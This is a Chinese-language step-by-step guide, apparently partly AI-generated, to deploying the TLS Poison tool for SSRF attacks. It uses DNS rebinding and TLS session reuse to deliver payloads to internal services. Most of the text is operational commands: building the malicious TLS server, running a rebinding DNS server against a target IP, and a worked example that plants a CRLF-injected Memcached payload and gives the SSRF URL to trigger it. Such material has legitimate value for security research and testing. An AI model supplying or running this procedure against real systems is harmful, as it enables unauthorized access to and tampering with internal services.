终极指南:如何使用TLS Poison实现通用TLS SSRF攻击
终极指南如何使用TLS Poison实现通用TLS SSRF攻击【免费下载链接】TLS-poison项目地址: https://gitcode.com/gh_mirrors/tl/TLS-poisonTLS Poison是一款强大的工具它允许通过TLS实现通用的SSRF攻击以及在大多数浏览器中通过图像标签实现CSRF攻击。其目标与SNI注入类似但这种新方法利用了TLS的固有行为而非依赖特定实现中的漏洞。 什么是TLS PoisonTLS Poison最初在Blackhat USA 2020和DEF CON Safemode上被提出它主要基于rustls和dns-mitm项目开发通过TLS会话持久性来实现攻击。 攻击原理TLS Poison的核心原理是利用TLS的会话持久性和DNS重绑定技术。当目标系统发起HTTPS请求时TLS Poison会先建立一个正常的TLS连接然后通过DNS重绑定将域名解析到内部服务同时复用之前建立的TLS会话从而将恶意 payload 发送到内部服务。 准备工作在开始使用TLS Poison之前你需要准备以下环境一个可以设置NS记录的域名两台公共服务器分别用于TLS服务器和DNS重绑定服务器基本的Linux命令行操作能力 安装步骤1. 克隆仓库首先克隆TLS Poison仓库到你的服务器git clone https://link.gitcode.com/i/c027f894212a1861ac69affcc460acca.git2. 部署TLS服务器TLS服务器需要部署在公共网络上最终DNS重绑定服务器会将域名解析到这里。# 安装依赖 sudo apt install git redis # 安装Rust curl --proto https --tlsv1.2 -sSf https://sh.rustup.rs | sh cd TLS-poison/client-hello-poisoning/custom-tls # 编译 cargo build # 测试服务器 target/debug/custom-tls -p 8443 --verbose --certs ../../rustls/test-ca/rsa/end.fullchain --key ../../rustls/test-ca/rsa/end.rsa http在另一个终端中验证设置curl -kv https://localhost:84433. 部署DNS重绑定服务器DNS重绑定服务器也需要部署在公共网络上建议与TLS服务器分开部署。sudo apt install python3 python3-pip cd TLS-poison/client-hello-poisoning/custom-dns pip3 install -r requirements.txt # 启动DNS重绑定服务器 # $DOMAIN: 你拥有的域名 # $TARGET_IP: 目标内部服务IP通常是127.0.0.1 # $INITIAL_IP: TLS服务器的IP sudo python3 alternate-dns.py $DOMAIN,$TARGET_IP -b 0.0.0.0 -t $INITIAL_IP -d 8.8.8.8如果遇到OSError: address already in use错误可以停止systemd-resolved服务sudo systemctl stop systemd-resolved验证DNS重绑定是否正常工作dig localhost $DOMAIN4. 设置NS记录和证书你需要设置NS记录和胶水记录使DNS请求指向你的重绑定服务器。例如如果你的域是example.com应添加dns.example.com A 300 DNS_IP tlstest.example.com NS 300 dns.example.com然后获取TLS证书# 使用certbot获取证书 # 参考certbot DNS instructions完成DNS挑战 # 重新启动TLS服务器 target/debug/custom-tls -p 8443 --verbose --certs letsencrypt-cert.fullchain --key letsencrypt-key.rsa http 实施攻击针对Memcached的攻击示例设置攻击 payloadredis-cli 127.0.0.1:6379 set payload \r\nset foo 0 0 14\r\nim in ur cache \r Ctrlc启动TLS服务器监听Memcached端口11211target/debug/custom-tls -p 11211 --verbose --certs ../../rustls/test-ca/rsa/end.fullchain --key ../../rustls/test-ca/rsa/end.rsa http使用以下URL作为SSRF payloadhttps://tlstest.example.com:11211⚠️ 注意事项攻击前确保获得合法授权不同软件对TLS会话持久性的处理不同可能需要调整sleep参数对于Chrome等浏览器sleep时间可能需要设置得较短如果遇到重定向次数限制可以增加sleep时间至59000ms或更长 相关资源项目源码TLS-poisonTLS服务器代码client-hello-poisoning/custom-tls/src/main.rsDNS重绑定服务器代码client-hello-poisoning/custom-dns/alternate-dns.py通过本指南你应该能够理解并使用TLS Poison工具来实现通用的TLS SSRF攻击。记住网络安全工具应仅用于合法的安全测试和研究目的。【免费下载链接】TLS-poison项目地址: https://gitcode.com/gh_mirrors/tl/TLS-poison创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考